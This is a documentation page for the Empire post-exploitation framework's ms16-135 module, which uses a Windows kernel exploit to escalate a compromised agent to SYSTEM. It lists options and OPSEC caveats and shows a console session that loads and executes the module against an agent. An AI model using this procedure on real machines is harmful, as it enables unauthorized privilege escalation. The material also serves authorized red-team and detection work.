Invoke-MS16135 - Empire Module


This page contains detailed information about how to use the powershell/privesc/ms16-135 Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-MS16135
Module: powershell/privesc/ms16-135
Source code [1]: empire/server/modules/powershell/privesc/ms16-135.yaml
Source code [2]: empire/server/modules/powershell/privesc/ms16-135.py
MITRE ATT&CK: T1068
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes

The ms16-135 module spawns a new Listener as SYSTEM by leveraging the MS16-135 local exploit. This exploit is for x64 only and only works on unlocked session. Note: the exploit performs fast windows switching, victim's desktop may flash. A named pipe is also created. Thus, opsec is not guaranteed.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the ms16-135 module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the ms16-135 module:

Agent
Agent to run module on.

Listener
Listener to use.

Additional Module Options

This is a list of additional options that are supported by the ms16-135 module:

Proxy
Proxy to use for request (default, none, or other).
Default value: default.

ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

Ms16-135 Example Usage

Here's an example of how to use the ms16-135 module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/ms16-135

 Author       @TinySecEx                                                             
              @FuzzySec                                                              
              ThePirateWhoSmellsOfSunflowers (github)                                
 Background   True                                                                   
 Comments     Credit to TinySec (@TinySecEx) for the initial PoC and                 
              to Ruben Boonen (@FuzzySec) for PowerShell PoC                         
              https://github.com/tinysec/public/tree/master/CVE-2016-7255            
              https://github.com/FuzzySecurity/PSKernel-                             
              Primitives/tree/master/Sample-Exploits/MS16-135                        
              https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to- 
              protect.html                                                           
 Description  Spawns a new Listener as SYSTEM by leveraging the MS16-135 local       
              exploit. This exploit is for x64 only and only works on unlocked       
              session. Note: the exploit performs fast windows switching, victim's   
              desktop may flash. A named pipe is also created. Thus, opsec is not    
              guaranteed                                                             
 Language     powershell                                                             
 Name         powershell/privesc/ms16-135                                            
 NeedsAdmin   False                                                                  
 OpsecSafe    False                                                                  
 Techniques   http://attack.mitre.org/techniques/T1068                               


,Record Options--------,----------,-------------------------------------,
| Name       | Value   | Required | Description                         |
|------------|---------|----------|-------------------------------------|
| Agent      |         | True     | Agent to run module on.             |
|------------|---------|----------|-------------------------------------|
| Listener   |         | True     | Listener to use.                    |
|------------|---------|----------|-------------------------------------|
| Proxy      | default | False    | Proxy to use for request (default,  |
|            |         |          | none, or other).                    |
|------------|---------|----------|-------------------------------------|
| ProxyCreds | default | False    | Proxy credentials                   |
|            |         |          | ([domain\]username:password) to use |
|            |         |          | for request (default, none, or      |
|            |         |          | other).                             |
|------------|---------|----------|-------------------------------------|
| UserAgent  | default | False    | User-agent string to use for the    |
|            |         |          | staging request (default, none, or  |
|            |         |          | other).                             |
'------------'---------'----------'-------------------------------------'

(Empire: usemodule/powershell/privesc/ms16-135) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/ms16-135) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/privesc/ms16-135) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.